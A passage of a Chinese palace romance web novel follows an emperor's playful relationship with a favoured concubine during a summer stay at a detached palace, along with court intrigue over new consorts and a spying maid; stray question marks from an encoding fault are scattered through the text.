李怀修早知这女子?是水做的,不想竟这么能?哭,不知为何,他?并不觉得厌烦,女子?美目半嗔,与他?胡搅蛮缠的小模样,他?一时居然觉得可爱有趣得紧。 他?嘴角噙了丝笑意,垂下眼睫,钳住了这女子?的下颌,凤眸轻挑,似是在思量,这些话是否要说与她听。 良久,才启开?薄唇,“朕答应你,隔上几日朕得了空,就来陪你,如何?” 李怀修也不知为何,自己会做出这般让步,承诺她这些话,随着心意做了,总归,他?也喜欢来她这,听她撒娇,听她胡搅蛮缠。 大抵是高位做的久了,也喜欢听上了那些言不由衷的花言巧语。 半晌,都没听到这女子?回应,李怀修微拧了下眉峰,沉沉盯向怀中的女子?。 明裳呆愣住,原本只想得男人?几分怜惜,怎会料到,皇上居然做出这种承诺。 她回过神,不禁顺着杆爬,颇为得寸进尺,诚恳地问?道:“那皇上隔上几日来嫔妾这儿?” 李怀修低着眼皮子?,磨了磨牙根,没收力道,拍了把明裳的臀瓣,“再不知进退,朕就收回方才的话!” 明裳立即摇头,讨好地环住男人?脖颈,眸子?似水如波,娇滴滴地哼声,“君无戏言!皇上说得空就来嫔妾这,可不准反悔!” 得了便宜还卖乖,李怀修斜睨去一眼,捻了捻扳指,终究是遂了她的愿。 …… 张嫔诞下皇子?后在听月坞静养,皇上重视长子?,吩咐六宫,除却宓贵人?,无圣令不可踏足听月坞一步,因而,张嫔得以清净两月。六宫心知皇上有多看重这个皇子?,告知六宫,独独允了宓贵人?前去探望,摆明了是说旁人?居心叵测,偏生皇上亲自下的旨,皇后娘娘都不曾有异议,她们能?说什?么。 六宫如常日一般前去给皇后娘娘问?安,日子?久了,众人?也渐渐察觉出不同,皇上好似许久都未曾召幸宓贵人?了。 不待她们想明白缘由,这日问?安时,又出了一件事,丽妃病故后,丽妃亲手送进宫的堂妹孟静瑶缠绵病榻,数月未曾病愈,这日她们却听闻,孟常在自请出宫入佛音寺,带发修行?,为大魏祈福。等众人?知晓这事,孟常在已由一顶小轿悄然送出了宫,此时事出蹊跷,无人?敢议。谁能?想到,曾经盛极一时的孟家,如今居然也能?没落如斯。 七月初,入了盛夏,暑热难耐,这岁要比往年酷热,皇后听闻小皇子?长因暑热哭闹,便去了御前,向皇上请旨,今岁可否到行?宫避暑。 先帝爷在世时,刚入六月,就要带上后宫的莺莺燕燕前去行?宫,当今御极后,厉行?节俭,故而还从未去过。 李怀修思量一番,准允了皇后的提议。 皇后无意动?了下眼眸,斟酌开?口?,“除去张嫔,徐答应近些日子?畏暑呕吐不止,不知皇上可否准允徐答应到行?宫伴驾?” 李怀修漫不经心地抿了口?茶水,“徐答应既身子?不适,受不得波折,命内务府多送些冰,太医院好生照顾。” 六宫早有闻讯,今岁暑热,皇上大抵要去行?宫避暑,徐答应得了消息,本想做戏博得皇上怜惜,不料搬起石头砸了自己的脚。 皇后没有说什?么,徐答应是去是留,本与她无关,她温声记下。 李怀修已经持了朱笔,微顿间,又交代一句,“宓贵人?久未出宫,此行?避暑,可一同跟去。其余的嫔妃,由皇后选定,不必再来过问?朕。” 六宫中的嫔妃,何尝只有宓贵人?一人?久未出宫,旁人?闻言,只会觉得皇上有失公?允,可人?心这种东西,最是偏颇。 皇后踏出乾坤宫,才有所意识,皇上自始至终,都未曾提到过杨才人?,究竟是一时忘记,还是有意不提。杨才人?经过那日的事,怕是再难复宠。 行?宫避暑事宜很快敲定,徐答应得知,皇上矢口?否决了她委婉的请求,回了秋水榭,伏到软榻里就呜呜哭了起来,气?得挥手打碎了凭几上的雕花瓷盏。 偏生内务府和太医院的人?如同商量好了般,一同过来,一个要给她瞧病,一个送了几篓子?的冰,按她的位份,是不可能?有这么多的月例,徐答应看着,只觉得讽刺,气?得把太医院和内务府的人?都赶了出去。 几人?候到殿外,彼此见了礼,面面相?觑,站到晚膳,点了卯般各自回各自的地方。这番消息传到御前,全福海心中腹诽,也不知徐答应究竟长没长脑子?,既是皇上的旨意,就是天?恩,不论如何,都得受着,徐答应可真是嫌还不够皇上冷待了,还敢把皇上派去的人?拒之门外。 果不其然,这事儿传到皇上耳朵里,皇上便淡淡地下了令,翌日,徐答应不止没了内务府多送的冰,连该有的月例都没人?送来。徐答应这才慌了神,但也为时已晚。 这事儿六宫知晓,成?了桩笑谈,徐答应也是够蠢的,以为自己有多得宠,还敢驳皇上的圣令,日后想要再受宠,怕是难了。 转眼到了出宫这日,明裳乏味地吃了一段时日的药,还没到半年,眼下是一闻到药味就想吐,日日用蜜饯吊着。 去行?宫要出城十里,听闻行?宫冬温夏凉,极为宜居,先帝爷在时,若非前朝的大臣长跪请求回宫主持朝政,是要一整年都住在行?宫内。 贵人?的车撵留在末位,此回避暑,并未有多少嫔妃伴驾,明裳虽为贵人?,往下前去避暑的嫔妃却不见几个,因而,她掀起车帘,只能?看到前面粼粼的车马仪仗,沿河而行?,也并未途径闹市,离宫过了两个时辰,明裳受不住颠簸,昏昏沉沉睡了过去。 再清醒时,已经日薄西山,仪仗到了行?宫,明裳草草净了面,由辛柳扶着下了车撵。 行?宫的宫所由皇后分配,不知有意无意,宫人?在前引路,没过一会儿,就到了落脚的宫所。 明裳是第二日才得知自己与皇上的寝宫竟隔得这般相?近。一日颠簸劳累,皇后体恤,翌日一早不必过去问?安。 皇后娘娘体恤,六宫巴不得多歇息一会儿,前朝的大臣们却没有这个待遇。贤臣择明主,皇上勤政是勤政,可实在过于勤勉,便是到了行?宫避暑,也要一大早抓着他?们过问?政事,可是叫一些老骨头苦不堪言。 行?宫不比皇城宽敞,有些风吹草动?便能?传之甚远。明裳对前朝的事不感兴趣,更是压住了下面人?的口?风,不准打听前朝。她知晓分寸,不听不问?,守着该守的规矩,方能?走得长久。 清晨,明裳用了一小碗羹汤,她所住的这处行?宫宫所,名?唤雪霁亭,听闻即便是霜降时节,落雪纷纷,仍有清流萦绕,修竹摇青,为行?宫一大奇景。可惜明裳来是夏时,不见霁雪,倒是能?听得潺潺流水,见得摇青松竹。 后午,明裳正打着蒲扇,坐下廊下乘凉,溪流一岸,文竹过了垂花门,向雪霁亭走来,她屈膝福了身子?,道明来意,“皇后在松月轩设了戏台子?,请各宫主子?们前去观戏。” 七月的艳阳天?,明裳更愿意在廊下吹风,也不想千里迢迢地跑去松月轩看戏,她是没那个心思,但皇后娘娘相?邀,她倘若托大不去,倒落了人?话柄。 不过,这才到行?宫第一日,皇后娘娘为何忽然要请六宫前去看戏? 不止是明裳,六宫其他?人?也是不解,贤妃最先到了松月轩,她没坐下不久,先瞧见建功侯家的嫡出姑娘竟坐在前头正与皇后攀谈正欢,建功侯半年前才召回的上京城,倘若不是因事耽搁,家中嫡出姑娘原本是要参上大选的。贤妃眼底划过一抹了然,听闻建功侯本也有意让府上的姑娘入宫,原来今日这桩戏码,宫外头的人?的才是唱戏的名?角儿。 待嫔妃们陆陆续续地到了松月轩,也瞧见了坐在前头,与皇后娘娘攀谈的女子?,不止是建功侯家的嫡出姑娘,翰林院掌院学士徐家的二姑娘,督察员左都御史罗家的五姑娘,内大臣白家的九姑娘皆在其中,难为皇后娘娘一大清早给上京城的名?门望族投了帖子?。 皇上这回行?宫避暑,跟着的嫔妃不多,原本她们是要借此在得皇上眼的,不想皇后娘娘居然是打的这个主意。 几曲唱完,众人?听得索然无味。 松月轩的戏曲散场,皇后的仪仗就去了行?宫的勤政殿。皇后今日此举也并非是她一人?所为,倘若无那位的旨意,她何以请得这般多的名?门世家进宫,无非是因为,那位也有这个意思罢了。后宫中皇嗣不多,这皇室总要枝繁叶茂,才能?堵住前朝那些人?的嘴,以稳大魏的根基。 如皇后所想,她将京城望族名?册呈到御前,后宫短短一年内,阮嫔、陆才人?、柳美人?、陈宝林等数个妃嫔,入冷宫的入冷宫,赐自尽的赐自尽,如今后宫伺候的人?少,至今只有张嫔诞下皇子?,前些日子?太后遣人?来信,也是有要择选新人?的意思。 李怀修只淡淡扫了眼,点了徐罗白三人?。 有皇上钦点,礼部过了册礼,定了日子?,又安排教养嬷嬷入府教习规矩,下月十六,入宫。 第063章 第 63 章 新人入宫的消息叫一众嫔妃猝不及防, 谁也没料想到,居然这般快又要有新人进宫。不过想来?也是,虽是去岁选秀, 但择选进宫的秀女还不过先帝爷选秀的半数, 再加上这一年生了太多的事,后宫里的嫔妃接连犯错, 进冷宫的进冷宫,入寺修行的入寺修行,丽妃娘娘又因病殁了, 也不知是犯了什么晦气,是得需要些喜气冲一冲。 仪元殿 皇后正?教宝珠习字,宝珠生性聪慧,写出的字稍加点拨,进步就是极快。皇后抚了抚宝珠的额头, 吩咐宫人带公主?出去用午膳, “母后吩咐膳房, 晌午做了宝珠最喜吃的红豆糕。” 宝珠听见有吃的,眼珠立即亮了,点了两下脑袋, 欢快地牵着大宫女的手到暖阁吃糕。 晌午的日头正?大, 殿里放了冰,宫女手持蒲扇,轻轻摇动扇着,盛夏暑热,六宫嫔妃多爱冰饮, 皇后却?独独喜爱热食。 宫人送上的茶水温热,皇后拂了拂热气, 轻抿了一口,“宓贵人有一段日子没侍寝了。” 文竹轻声?,“可?惜顺湘苑上上下下嘴巴太严,奴婢打听不到什么。” 皇后挑眉笑道:“那位的意思,有谁敢传扬。” 皇上既指了宓贵人到行宫伴驾,可?见宓贵人并未失宠,她思来?想去,除却?皇嗣,还有什么缘由不能?侍寝。 只是,这宓贵人是因怀了皇嗣不能?侍寝,还是因想要怀上皇嗣,才眼下不能?侍寝。 皇后眯了眯眸子,眼底意味深长。 …… 翌日,明裳与张嫔给皇后问了安,同去了花园赏花,张嫔生产后,少有出宫走动,一是不放心留温儿独自在宫里,二?是她生产后身?子仍旧懒怠,尤其正?值盛夏,心绪燥热,没游园的心思。 清风徐徐,拂过人面,两人步入园中深处,正?欲去前面的亭中落脚,忽听闻一阵脆如银铃的孩童笑声?。 “快来?抓我啊!哈哈哈……” “公主?,慢些,娘娘叮嘱过公主?,万不能?到湖边去玩啊!” 宝珠娇蛮地叉腰,哼道:“你们回去都不许告诉母后,否则本?公主?就把?你们关进慎刑司,听见没有!” 伺候的宫人们跟着宝珠公主?顶着大日头,呼哧呼哧地绕着湖边跑了好几圈,此?时个个是愁容满面,汗流浃背,咋就搞不懂自家公主?跑了这么久还不累呢? 伺候的宫人们深知伺候的宝珠公主?有多机敏伶俐,倘若他们向皇后娘娘透漏半点风声?,日后公主?定会找遍由头将?他们发落了,可?他们本?是皇后娘娘安排下的奴才,合该听皇后娘娘的吩咐。 简直是两头为难。 还是宝珠身?边的大监,腆着个老脸上前企图把?自家主?子哄走,“过了这些时候,皇后娘娘怕是正?在殿里等着公主?习字呢!” 宝珠使劲儿摇头,指尖指着那个大监,“刘伴儿莫要哄我,你上回将?我从台子上带下来?,也是这么说的,母后才不是在这个时候教我习字!” 那个唤刘伴儿的大监顿时哑然,不禁拍脑门懊恼,怪不得打那之后,公主?就不再亲近他,原来?是一直记在心里。 不远处站着的张嫔与明裳将?这一幕收入眼中,不由得对视一眼,张嫔指尖儿拨开面前开着的海棠花,轻笑道:“倘若阮嫔不折腾,养着这么一个聪明伶俐的公主?,何愁日后在宫里没有一席之地。” 想当初,明裳也不知为何,阮嫔竟尤为憎恶她,为对付她用尽了栽赃的手段,明裳倒没将?对阮嫔的情绪放到她女儿身?上。宝珠公主?才六岁,竟如此?聪慧能?言,定然不是承袭了阮嫔的脑子,公主?长开了些,眉毛鼻子确实像极了那位。 如今皇后养着宝珠公主?,她们还是不要掺和其中的好。 明裳转了脸,“西边过了月牙门,正?是一片竹林,倒是静得很,不如姐姐与我去那处歇歇。” 张嫔也正?是这个意思,两人同行,要转身?离开时,被一道人声?唤住,“张嫔娘娘,宓贵人,这是要去哪?” 远处,王采女提着绯红扑蝶的衣裙,身?边跟了两个宫人,鬓边汗水盈盈,正?朝两人过来?。 也是这道人声?,吸引了不远处的宝珠公主?,宝珠耳朵一动,小小的人微抬起眼,看见了明裳三人,几人相继对视上,面面相觑了稍许。 宝珠面颊窘迫,瞪了眼伺候的宫人,嘀咕道:“见远处有人也不知叫住她,不知道方才那些话被人听去了多少,倘若告去母后那里可?就大事不好了。” 三人中,张嫔位份最高。宫里规矩,纵使宝珠贵为公主?,见到庶母也要过去问安,她憋闷着气,不情不愿地前去,对三人福了身子。 王采女本?想巴结巴结有了皇子的张嫔,要与张嫔攀谈,不想宝珠公主?就在假山后面,几人不尴不尬地撞上,一时都不知道该说什么。 还是张嫔先朝宝珠公主?走去,俯下身?子,开了口,“日头大,公主?在园里玩耍,仔细中了暑气,还是回殿里好好睡一觉,待凉爽了,再唤宫人们过来?。” 宝珠公主年幼就对父皇宫里的庶母们没有多少好感,即便张嫔温温柔柔地与她说话,她也没生出亲近。她听服侍的奴才们说,张嫔前不久刚生下了皇子,深得父皇喜爱,父皇常去看那个自己未曾见过一眼的弟弟,宫里先多了一个妹妹,又多了一个弟弟,父皇能陪她的时候愈发得少,娘亲又被关在宫里,不能?日日陪在她身?边,她很是厌恶这些抢了她父皇的庶母们。 她尚不明事理,因从小教养出的规矩,再不喜欢张嫔,张嫔也为父皇生下了皇子,她若耍了性子,父皇只会怪她不懂事。 宝珠垂着脑袋,闷不吭声?,好一会儿才转身?唤来?刘伴儿,“回宫吧,母后还等我回去写字呢。” 那刘伴儿登时感激涕零,请身?告退了三位主?子,跟着小公主?回去了仪元殿。 王采女上前,有意讨好张嫔,“张嫔娘娘性子可?真是好,宝珠公主?今日定会将?张嫔娘娘的劝导记在心里。” 张嫔挑眉笑了下,“王采女言重,宝珠公主?养在皇后娘娘身?边,本?宫可?不敢称上教导。” 王采女一噎无言。 张嫔养好身?子后,因着诞下皇子有功,所住的宫所已?由此?前的听月坞,换去钟粹宫主?殿绛云殿,待从行宫还驾,内务府收拾妥当便开始迁居。 一番话,说得王采女面红耳赤,她与张嫔素无交集,不过是因张嫔生下皇子,她想日后有所攀附,才刻意过来?相交,张嫔竟这般不给她脸面。 王采女看出张嫔没这个意思,也不多留,又说两句,就离开了,自始至终,没与明裳说过一句话。 她其实也是有心与宓贵人缓和干系,宓贵人能?由皇上钦点到行宫伴驾,可?见皇上待宓贵人仍是宠爱,她欲言又止地抬头,见宓贵人似是正?赏着景,看也不看她,也没热脸贴过去。 两人走到竹林,便见里面有几道影影绰绰的人影,明裳定睛一看,与守在外?面的全福海对视上。 全福海瞧到竟是宓贵人,双眼惊喜得冒出亮光,紧跟着,就看到了宓贵人身?边的张嫔,他脸上笑意僵住,倒有些尴尬。 张嫔虽是诞下皇子,倒底不如宓贵人受宠,端看能?讨皇上喜欢,还得是宓贵人。 他走到跟前,拘了礼,“奴才给两位主?子请安。” 明裳往里瞄了瞄,蹙眉,“可?是皇上在?” 全福海答正?是,心道,皇上正?在里面练剑呢,这两位主?子可?真是巧了,怎么走到这来?了,不过……宓贵人怎么一副十分遗憾,颇有些不高兴的模样,仿似皇上在这,还打扰了她与张嫔的雅兴,他嘴角抽了抽,旁人求都求不得福气,宓贵人还嫌弃上了。 既遇到了圣驾,总没有不去请安的道理。全福海转身?,引二?人前去面圣,李怀修就已?从竹林中出来?,男人脚踩紫金长靴,着寻常的圆领长袍,袖口束紧,通身?贵气,看到明裳二?人,轻扬了眉峰,似有些意外?。 张嫔与明裳屈膝福了礼,李怀修点头,先问了张嫔,“温儿到行宫中可?有哭闹?” 张嫔微顿了下,柔声?答话,“温儿性子乖,到行宫后无不适应。”她动了下袖中的指尖儿,水琳会意,极有眼色上前,“主?子,小皇子这时该是醒了。” 她轻轻颔首,望向面前的帝王,“皇上,温儿醒了怕是要找嫔妾,嫔妾先行回宫了。” 李怀修左手负在身?后,并没有多问,话音平淡道,“前不久朕新得了一只描金嵌珠珊瑚的长命锁,朕让全福海送去绮霞楼,朕也许久未去陪陪温儿,今夜朕过去看看他。” 小皇子这时还未睡醒,张嫔借口离开,不过是因为她也清楚,皇上待她,除了温儿,并没有别的话要说。宓贵人与她不同,她曾见过宓贵人与皇上的相处,两人之间,任凭是谁,都插不进去的,此?时离开,反而最好。她从不期望与帝王的情谊,比起那些虚无缥缈的宠爱,她更愿意抚养好自己的温儿。 张嫔离开,明裳望着张嫔远去的身?影,微拧起眉。 她转过脸,已?经面色如常,因在日光下走得久了,脸蛋烫得发红,眸如灿水,嫣然无比地望着他,娇嗔道:“皇上故意与张姐姐提起小皇子,岂不就是暗示张姐姐回绮霞楼,张姐姐面皮薄,皇上也不怜惜张姐姐走了这一路,不让人坐下歇歇。” 李怀修脸瞬间黑了,磨了磨牙根,屈指弹了下这胆大包天女子的额头,“朕便是不知怜惜,又如何?知不知道凭你说的这句话,朕但凡狠下心,现在就让你在这跪上一日!” 男人两指是真的使了力道,弹的明裳脑门通红,她呜咽一声?,眼眶里蹦出泪花子,委屈哒哒地咬唇,才学了乖,“皇上别生气了,嫔妾知道错了……” 难得没再跟他顶嘴,李怀修冷睨她一眼,顺了气,转身?回了竹林,沉声?撂下一句,“跟朕过来?。” 明裳揉着发红的额头,不动声?色地,向林外?看去一眼,树林阴翳,人影晃动,出来?的,不过是一个洒扫的宫人。她淡淡低下眼,神色思量一瞬,才抬了脚步,跟了进去。 待宓贵人进去,全福海也顺着宓贵人的视线,又往那头看了一眼,招来?宫人附耳,低低吩咐。 远处,那装作?洒扫的宫人提着裙摆越走越快,终于不见了后面竹林的影子,才敢大口喘息,她原以为自己伪装得够好,不想那宓贵人竟如此?警觉。 对面过来?一个小宫女,神色匆匆,见她这副模样,面容惊慌,急声?闻道,“如何,可?是被御前的人察觉了?” 扶着膝盖吐气的宫女摇头,“并未,我本?是在那处洒扫,旁人察觉不出什么。” “如此?就好。” 两人放下心。 “只是,那宓贵人确实言行无状,当时我都要吓死了,几乎以为宓贵人要脑袋落地,也不知宓贵人怎么敢那般在御前说话!” 两人交换着御前的见闻,却?不知,这番对话,早落入了旁人耳中。 …… 密密耸立的竹身?遮挡住了炎炎烈日,斑驳摇曳的光影明明晃晃落到林中男女身?上。明裳蹙紧眉心,吃力地握着男人的长剑的剑柄,女子容色妖冶艳丽,鼻尖沁着的汗珠都仿似做了珍珠点缀。 她咬着唇,手腕挽剑,模样十分委屈,泪目盈盈地朝坐在圆凳上闲散饮茶的男人望去,“嫔妾觉得,这些时候,一刻钟也该到了。” 李怀修嗤一声?,郎心似铁,“那便再站上一刻钟。” 不好好教训教训她,便是不长记性。 李怀修深以为然,这女子是被他宠得过头,才言行无状,不知分寸。 男人是铁了心责罚,明裳心底默默叹息,只能?费力地举着沉重的长剑,刺目的日光正?射到她的眼底,她心神一动,偷瞄了男人一眼,仿似浑身?无力般,抛掉手中的剑柄,轻飘飘地跌坐到了地上。 咣当一声?,李怀修心头蓦地一紧,竟来?不及思索,见那女子体力不支,蓦地起了身?,急步走到明裳跟前,一把?将?人揽到怀里,他面色沉下,眉头紧锁,手背贴着女子的额头,只触到一手烫热,他把?人搂紧,“朕一直看着,罚你还不到半刻钟,怎么娇弱成这样?” 那女子虚弱地伏在他怀里,眉心沁汗,呼吸微微,李怀修正?要唤人传太医,侧目间,余光瞥到那女子不动声?色地摩挲手心的柔荑,剑柄粗糙,放到她手中,难免磨破些皮肉。 养得这般娇气。 李怀修看着,薄唇抿直,轻“啧”了声?,屈指掐住了明裳的脸蛋,用了十足的力道,“又给朕装模作?样!” 男人指腹本?就因常年习武生出了薄茧子,明裳登时吃痛,捂住通红的半张脸蛋,泪光盈盈向男人嗔了眼,“嫔妾哪有装模作?样,嫔妾真的好累嘛!” 她死死抱住男人的腰,不管不顾地撒娇道:“皇上罚也罚了,掐也掐了,嫔妾再有错,也该揭过去了!” 李怀修鼻腔哼了声?,也不知是气是恼,点着明裳的额头,“就你敢没个规矩地哄骗朕。” 明暗的光影照到女子眉眼间,明裳仰起精致的脸蛋,面容绯红,秋水盈盈,“那皇上呢?皇上不喜欢嫔妾这样吗?” 李怀修面容淡淡,嫌弃地睨了明裳一眼,抬手把?那张期待的小脸推开,眯着眸子,一本?正?经,“朕喜欢有规矩的,你就算了。” 明裳撇起嘴角,在男人心窝里蹭了两下,“皇上不喜欢嫔妾算了,嫔妾貌如秋月,聪慧伶俐,不愁没有喜欢嫔妾的人!” 李怀修被她逗得好笑,静静地盯着女子的眼,嗤她:“恬不知耻!” 两人相拥着,一言一语,光阴仿似都悄然静了下来?。 全福海正?要过去上茶,看到这一幕,悄然止住了步子,不敢近前打扰。 郎情妾意,华服迤逦,是当权者不该有的日久倾心。 第064章 第 64 章 前朝有政务要议, 明裳回到?雪霁亭时,已是日暮西斜,方用了晚膳, 御前的德喜公公就带人送来了一堆皇上的赏赐, 出手?阔绰,琳琅满目。 旁人若见到?, 定惊愕于宓贵人竟能得如?此之多的赏赐,但于顺湘苑的宫人而言,早已经司空见惯, 习以为常,这些赏赐算什么,在宫里头皇上给他们主子的赏赐,私库里已经快堆不下了! 其中的赏赐里,还有那柄明裳举了一会儿?, 就轻飘飘晕倒的长剑, 仿似是那位有意讽刺她。明裳红脸扫了眼, 就快快让人好生收了。 入夜,勤政殿 全?福海进殿禀话,“奴才已经按皇上的吩咐, 把赏赐送去了雪霁亭。” 皇上御极后?一向节俭, 该给六宫的赏赐是有,这动不动从私库里拿赏赐给后?宫嫔妃的惯例,也就宓贵人独一份。 闻言,李怀修脸上并没什么多余的情绪,那女子聪慧, 那柄剑送过去,她该知?道什么意思, 这些日子在他面前,是愈发不成体统,哪还有嫔妃的样子。 李怀修捏了捏眉心,微合着眼,不紧不慢地?问他,“那宫人是哪家派来的?” 什么都瞒不过皇上,那宫女自以为无人知?晓,不知?实在太?过明显,怎会瞒过皇上的眼睛。白?家也是自作?聪明,安安生生地?进宫做好主子,日后?诞下皇嗣,何愁荣华富贵,偏生没等入宫,就自以为是地?打起了主意,哪个上位者喜欢这般自作?聪明的女子。 全?福海依照查到?的情况,回道:“那宫女曾是建功侯府上的家生子,建功侯出京后?,放了她双亲的卖身契,她才得以入宫。” 当年皇上潜邸亲征,建功侯也算立下功绩,这些年镇守边关,得皇上看重,倘若没今日这事,原本,那建功侯府上的嫡出小?姐进了宫,位份定然不低,眼下却是不知?道了。皇上虽看重建功侯,也更忌讳有人敢动这样的心思。 良久,他听见皇上凉声发问,“此事,建功侯可?知?情?” 全?福海斟酌回道:“那宫女只?与建功侯府的嫡出姑娘有过传信,奴才揣测,建功侯大抵并不知?情。” 话落,他便感觉到?脖颈嗖嗖凉风,知?晓这事儿?他办得皇上并不满意,可?短短一日,他确实查不出什么。更何况,他伺候皇上这么久,也知?道皇上早养了影卫,并非忠于皇权江山,而是只?听命于皇上一人,那些人,会为皇上查清楚。倘若他一个内监,什么都查清了,才真真是不该继续留着了。 果不其然,皇上脸色并不见有什么,只?是淡淡地?吩咐下去,“建功侯劳苦功高?,来日赶赴边境,朕不忍心他父母分离,下月册封的名册,不必再记了。” 全?福海含声,“那两个宫女,奴才不知?该如?何去办。” 李怀修已拂袖起身,“送到?建功侯府,由高?延自行处置。” 全?福海赶忙应了是,却是抹了把后?颈的凉汗,心中喃喃腹诽,敢把心思动到?御前,还真是不知?死活。 无人知?晓,建功侯府的嫡出姑娘,竟因此失了进宫的机会。那两个宫女送到?建功侯府,涕泗横流地?说明了缘由,建功侯得知?实情,又是暴跳如?雷,又是心惊胆颤,当晚就处置了那两个宫女,上表陈情,言明罪状,赶赴边境。 幸而皇上顾念当年他这些年没有功劳也有苦劳,否则,哪能得皇上轻拿轻放。前日他还做着女儿?入宫,诞下皇子,稳坐高?位的美梦,怎料想生出这番变故,他怎养了个如?此自作?聪明的女儿?!悔不当初,悔不当初啊! 此时,雪霁亭 月香打探到?了消息,白?着脸,进来禀话。 白?日时明裳察觉到?竹林有异,似有人窥视,她疑心是后?宫哪个安生的,怕是对自己不利,叫月香去打探一番,她惊得打翻了手?边的茶水。 “那个宫人已经不在竹林洒扫了?” 月香一脸担忧地?点头。 今日这事,还有谁能不动声色地?,做得这般迅速干净。 除了那位,明裳想不到?旁人。 不知?那宫人倒底做了什么惹怒那位的事,她抚住心口,心有余悸。 …… 王采女近日心情颇为不好,她进宫后?侍寝最少,至今也未怀上皇嗣,眼见又要有新人进宫,而她还是采女位份,实在让她蒙羞。听闻新进宫的那几人家世门第都不低,如?何都册封在正五品常在之上,人人都过得好,只?有她至今想要去内务府多那些冰,都要看人眼色。 到?行宫近一月,伺候的宫人也渐渐瞄清了后宫主子们的风向,待皇后?和贤妃尽心尽力?地?侍奉,对有皇嗣的杨贵嫔和张嫔更是使了劲儿?曲意逢迎,即便宓贵人没有皇嗣,又不见侍寝,行宫的人像是授意了般,待雪霁亭处处妥帖,她若是高?位还好,偏生仅是个采女位份,到?了行宫这些时日,不见皇上召幸,昨儿?她想吃碗冰水,膳房的奴才竟推脱人手不够,无暇去做! 王采女越想,心中越发生气,眉眼飞斜,咬了咬牙根儿?,这群奴才,来日她得了皇上青眼,定要给他们些颜色看看! 她正想得痛快,打远跑过来一道粉衫人影,小?小的人儿不知从哪跑来的,边跑边得意地?回头张望,伺候的奴才们竟还跑不过一个孩童,个个累得双面赤红,气喘吁吁。尤其那瞟肥体胖的大太?监,全?身的肥肉随着他的喘息上下颤抖。 小?杜子是昨儿?调来公主身边的管事 太?监,顶替了刘伴儿?的照顾宝珠公主。他原是在行宫管事,不近主子身边,清闲自在。昨儿皇后娘娘亲自指了他,听闻宝珠公主身边换下的太?监不下五个,小?杜子忐忑大半日,待见到那个粉雕玉琢的小团子,心都要化了,没等化上一会儿?,被?宝珠公主闹腾得冻上了冰,直接碎成了渣渣。 他可?算是这位尊贵的小?公主为何换了那么多太?监,实在是太?过机灵,面上规规矩矩地?听皇后?娘娘的话,转头就当成了过眼云烟,还逼着他们这些奴才不准多嘴,他是皇后?娘娘亲自指的,哪能不禀给皇后?娘娘,偏生禀给了皇后?娘娘,在公主这就没好日子过,简直里外不是人,一不小?心,说不准脑袋还不保。 他苦着一张脸,“诶呦,奴才的小?公主,时候不早了,您快些回仪元殿吧!” 宝珠蹲下身子拣地?上掉落的花,由着伺候的宫人们围着她转,她性子倔得紧,“日头高?着,做甚这么早回去?” 那头小?杜子急得满头大汗,磨破了嘴皮子,好说歹说也劝不动宝珠。 这时,假山流水后?,一道明黄的身影走近。 李怀修着一袭金龙出云的圆领长袍,负手?闲适地?逛着园子,见到?蹲在地?上的宝珠,才走上前,“宝珠这是在做什么?” 听闻熟悉的人声,宝珠圆溜溜的眼珠都亮了,立马起了身子,还不及人膝盖高?,抱住李怀修的大腿,把捡到?的花捧到?男人面前,“宝珠见这些花败了,落在泥里,还要被?赏花的人踩上印子,觉得很可?怜,想要将这些花收集起来,埋到?一处。” 全?福海福至心灵,麻溜地?奉承,“宝珠公主仁善,奴才料想,这些花被?宝珠怜爱,定是喜不自胜!” 宝珠不赞同地?摇头,“父皇教导宝珠,食民之禄,本应为民谋事。这些花曾为人所赏,为人解忧,而今是旁人还是宝珠亲为,又有何不同呢?” 李怀修却格外欣赏女儿?的性子,他手?掌抚了抚女儿?的后?颈,俯身将小?团子抱到?肩上,面色大悦,“食民之禄,行为民之事,多少前朝官员尚不清明,宝珠却体悟这般通透,甚好!” 公主看着年纪小?,心思却如?此活络,方才自己自以为极好的奉承之言,却拍错了人,全?福海不禁汗颜,“是奴才鄙陋。” 李怀修转了脸,对伺候的小?杜子,淡声,“回去知?会皇后?,宝珠去了勤政殿用晚膳。” 小?杜子愕然,不想宝珠公主三言两语,就得了圣心。要知?道,天家的皇子夺嫡艰难,公主又何曾容易,如?今后?宫皇嗣不多,皇上才多注意到?宝珠公主,但皇上而今正值盛年,日后?后?宫里不知?有多少皇嗣,即便寻常百姓家,也有不得父亲喜欢的子女,更何况是子嗣繁盛的天家,倘若宝珠公主不得皇上喜欢,又本不是皇后?娘娘亲生,因是嫡长女,日后?婚姻之事,可?就由不得自己了。若是皇上喜爱这个女儿?,日后?也会顾忌宝珠公主的意思。 他方才倒是白?担忧了,宝珠公主小?小?年纪,竟有如?此心性,看来他日后?可?得伺候好了! 藏在树丛后?的王采女看到?这一幕,眉梢飞挑,忽地?心生一计。 …… 仪元殿 皇后?翻过一页书册,侧眸向窗外扫了一眼,眸色微深,“公主还未回来么?” 文竹已经让人问过一回话,公主跑去了园中扑蝴蝶,到?现在也没见伺候在身边的奴才回来通禀。 以往公主虽是贪玩,这种事却并不常有。 文竹摇了摇头,“晚膳已经热了两回了,不如?娘娘先移步暖阁用膳。” 她愈发心疼娘娘,宝珠公主看似是贪玩,实则是借着玩耍的由头,离开娘娘身边,宝珠公主机灵,自以为娘娘并未察觉,实则娘娘早就看出了宝珠公主的心思,毕竟不是在娘娘身边养大的,公主懂事又早,怎能把娘娘这个养母当成生母,真正亲近。 就在这时,小?杜子抹着一头热汗,呼哧呼哧地?回殿禀话,“奴才给娘娘请安。” 小?杜子是伺候在宝珠公主身边的新人,皇后?提拔他并无多余的意思,宝珠不愿用她指的人,她是宝珠名义上的母亲,无论如?何,都不能没了这个规矩。小?杜子看似臃肿愚钝,要没几分本事,也不能数年如?一日管着行宫。 皇后?合起了书册,眼光淡淡看向跪在地?上,衣襟湿透的小?杜子。 小?杜子拿袖子擦汗,神色惶恐,“奴才该死,公主在园中玩耍,偶遇圣驾,耽搁了些时辰,奴才得了皇上话,才敢回来给娘娘通禀,娘娘恕罪!” 其实,在撞见圣驾前,公主就已经过了皇后?娘娘定下的时辰。然主子总是没错的,错的都是奴才,小?杜子这么多年在行宫管着事,没少伺候皇亲国戚的主子们,深谙其中的规矩。 皇后?眼眸微怔,继而唇角勾起,极轻地?嗤笑了声,扫了眼跪着小?杜子,“公主晚膳可?是去了勤政殿?” 小?杜子应答正是。 皇后?脸色不好,烦躁揉了揉眉心,没再去问,文竹将小?杜子遣出去,到?御前伺候好宝珠公主,小?杜子悄悄觑了眼皇后?,才躬身离开。 